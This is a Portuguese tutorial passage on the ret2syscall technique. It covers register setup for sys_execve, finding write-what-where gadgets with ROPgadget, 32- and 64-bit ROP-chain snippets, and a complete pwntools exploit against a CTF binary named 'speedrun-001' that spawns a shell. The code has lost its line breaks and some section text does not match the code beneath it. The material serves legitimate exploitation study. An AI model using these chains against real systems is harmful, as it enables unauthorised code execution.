Isso é semelhante ao Ret2lib, no entanto, neste caso não estaremos chamando uma função de uma biblioteca. Neste caso, tudo será preparado para chamar a syscall sys_execve com alguns argumentos para executar /bin/sh. Esta técnica é geralmente realizada em binários que são compilados estaticamente, então pode haver muitos gadgets e instruções de syscall.
Para preparar a chamada para a syscall, é necessária a seguinte configuração:
rax: 59 Especificar sys_execve
rdi: ptr para "/bin/sh" especificar arquivo a ser executado
rsi: 0 especificar nenhum argumento passado
rdx: 0 especificar nenhuma variável de ambiente passada
Então, basicamente, é necessário escrever a string /bin/sh em algum lugar e depois realizar a syscall (ciente do padding necessário para controlar a pilha). Para isso, precisamos de um gadget para escrever /bin/sh em uma área conhecida.
Outra syscall interessante para chamar é mprotect que permitiria a um atacante modificar as permissões de uma página na memória. Isso pode ser combinado com ret2shellcode.
Gadgets de Registro
Vamos começar encontrando como controlar esses registradores:
Então você precisa encontrar uma maneira de escrever conteúdo arbitrário neste endereço.
ROPgadget --binary speedrun-001| grep " : mov qword ptr \["mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
Automatizar cadeia ROP
O seguinte comando cria uma cadeia ROP completa sys_execve dado um binário estático quando há gadgets write-what-where e instruções syscall:
ROPgadget--binaryvuln--ropchain
32 bits
'''Lets write "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop += popRdx # place value into EAXrop +="/bin"# 4 bytes at a timerop += popRax # place value into edxrop +=p32(0x6b6000)# Writable memoryrop += writeGadget #Address to: mov qword ptr [rax], rdxrop += popRdxrop +="//sh"rop += popRaxrop +=p32(0x6b6000+4)rop += writeGadget
64 bits
'''Lets write "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop =''rop += popRdxrop +="/bin/sh\x00"# The string "/bin/sh" in hex with a null byte at the endrop += popRaxrop +=p64(0x6b6000)# Writable memoryrop += writeGadget #Address to: mov qword ptr [rax], rdx
Gadgets em Falta
Se você está sem gadgets, por exemplo, para escrever /bin/sh na memória, você pode usar a técnica SROP para controlar todos os valores dos registradores (incluindo RIP e registradores de parâmetros) a partir da pilha:
from pwn import*target =process('./speedrun-001')#gdb.attach(target, gdbscript = 'b *0x400bad')# Establish our ROP GadgetspopRax =p64(0x415664)popRdi =p64(0x400686)popRsi =p64(0x4101f3)popRdx =p64(0x4498b5)# 0x000000000048d251 : mov qword ptr [rax], rdx ; retwriteGadget =p64(0x48d251)# Our syscall gadgetsyscall =p64(0x40129c)'''Here is the assembly equivalent for these blockswrite "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop =''rop += popRdxrop +="/bin/sh\x00"# The string "/bin/sh" in hex with a null byte at the endrop += popRaxrop +=p64(0x6b6000)rop += writeGadget'''Prep the four registers with their arguments, and make the syscallpop rax, 0x3bpop rdi, 0x6b6000pop rsi, 0x0pop rdx, 0x0syscall'''rop += popRaxrop +=p64(0x3b)rop += popRdirop +=p64(0x6b6000)rop += popRsirop +=p64(0)rop += popRdxrop +=p64(0)rop += syscall# Add the padding to the saved return addresspayload ="0"*0x408+ rop# Send the payload, drop to an interactive shell to use our new shelltarget.sendline(payload)target.interactive()
64 bits, nx, sem PIE, escrever em alguma memória um ROP para chamar execve e pular lá. Para escrever na pilha, uma função que realiza operações matemáticas é abusada.